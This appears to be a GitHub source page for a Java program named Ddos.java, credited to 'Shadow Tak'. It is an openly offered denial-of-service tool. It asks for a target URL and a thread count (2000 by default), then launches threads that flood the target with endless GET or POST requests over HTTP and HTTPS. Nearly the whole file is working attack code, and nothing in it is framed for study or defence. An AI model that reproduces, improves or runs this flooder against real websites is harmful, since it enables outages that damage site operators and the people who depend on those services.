-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDdos.java
200 lines (164 loc) · 6.48 KB
/
Ddos.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
import java.io.*;
import java.net.*;
import java.util.Scanner;
import java.util.ArrayList;
import javax.net.ssl.HttpsURLConnection;
public class Dos implements Runnable {
private final String USER_AGENT = "Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1";
private static int amount = 0;
private static String url = "";
int seq;
int type;
public Dos(int seq, int type) {
this.seq = seq;
this.type = type;
}
public void run() {
try {
while (true) {
switch (this.type) {
case 1:
postAttack(Dos.url);
break;
case 2:
sslPostAttack(Dos.url);
break;
case 3:
getAttack(Dos.url);
break;
case 4:
sslGetAttack(Dos.url);
break;
}
}
} catch (Exception e) {
}
}
public static void main(String[] args) throws Exception {
String url = "";
int attakingAmoun = 0;
Dos dos = new Dos(0, 0);
Scanner in = new Scanner(System.in);
System.out.print("Enter Url: ");
url = in.nextLine();
System.out.println("\n");
System.out.println("Starting Attack to url: " + url);
String[] SUrl = url.split("://");
System.out.println("Checking connection to Site");
if (SUrl[0] == "http" || SUrl[0].equals("http")) {
dos.checkConnection(url);
} else {
dos.sslCheckConnection(url);
}
System.out.println("Setting DDoS By: Shadow Tak");
System.out.print("Thread: ");
String amount = in.nextLine();
if (amount == null || amount.equals(null) || amount.equals("")) {
Dos.amount = 2000;
} else {
Dos.amount = Integer.parseInt(amount);
}
System.out.print("method: ");
String option = in.nextLine();
int ioption = 1;
if (option == "get" || option == "GET") {
if (SUrl[0] == "http" || SUrl[0].equals("http")) {
ioption = 3;
} else {
ioption = 4;
}
} else {
if (SUrl[0] == "http" || SUrl[0].equals("http")) {
ioption = 1;
} else {
ioption = 2;
}
}
Thread.sleep(2000);
System.out.println("Starting Attack");
ArrayList<Thread> threads = new ArrayList<Thread>();
for (int i = 0; i < Dos.amount; i++) {
Thread t = new Thread(new Dos(i, ioption));
t.start();
threads.add(t);
}
for (int i = 0; i < threads.size(); i++) {
Thread t = threads.get(i);
try {
t.join();
} catch (Exception e) {
}
}
System.out.println("Main Thread ended");
}
private void checkConnection(String url) throws Exception {
System.out.println("Checking Connection");
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", USER_AGENT);
int responseCode = con.getResponseCode();
if (responseCode == 200) {
System.out.println("Connected to website");
}
Dos.url = url;
}
private void sslCheckConnection(String url) throws Exception {
System.out.println("Checking Connection (ssl)");
URL obj = new URL(url);
HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", USER_AGENT);
int responseCode = con.getResponseCode();
if (responseCode == 200) {
System.out.println("Connected to website");
}
Dos.url = url;
}
private void postAttack(String url) throws Exception {
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("POST");
con.setRequestProperty("User-Agent", USER_AGENT);
con.setRequestProperty("Accept-Language", "en-US,en;");
String urlParameters = "out of memory";
con.setDoOutput(true);
DataOutputStream wr = new DataOutputStream(con.getOutputStream());
wr.writeBytes(urlParameters);
wr.flush();
wr.close();
int responseCode = con.getResponseCode();
System.out.println("POST attack done!: " + responseCode + "Thread: " + this.seq);
}
private void getAttack(String url) throws Exception {
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", USER_AGENT);
int responseCode = con.getResponseCode();
System.out.println("GET attack done!: " + responseCode + "Thread: " + this.seq);
}
private void sslPostAttack(String url) throws Exception {
URL obj = new URL(url);
HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", USER_AGENT);
con.setRequestProperty("Accept-Language", "en-US,en;");
String urlParameters = "out of memory";
con.setDoOutput(true);
DataOutputStream wr = new DataOutputStream(con.getOutputStream());
wr.writeBytes(urlParameters);
wr.flush();
wr.close();
int responseCode = con.getResponseCode();
System.out.println("GET attack done!:" + responseCode + "Thread: " + this.seq);
}
private void sslGetAttack(String url) throws Exception {
URL obj = new URL(url);
HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", USER_AGENT);
int responseCode = con.getResponseCode();
System.out.println("GET attack done!: " + responseCode + "Thread: " + this.seq);
}
}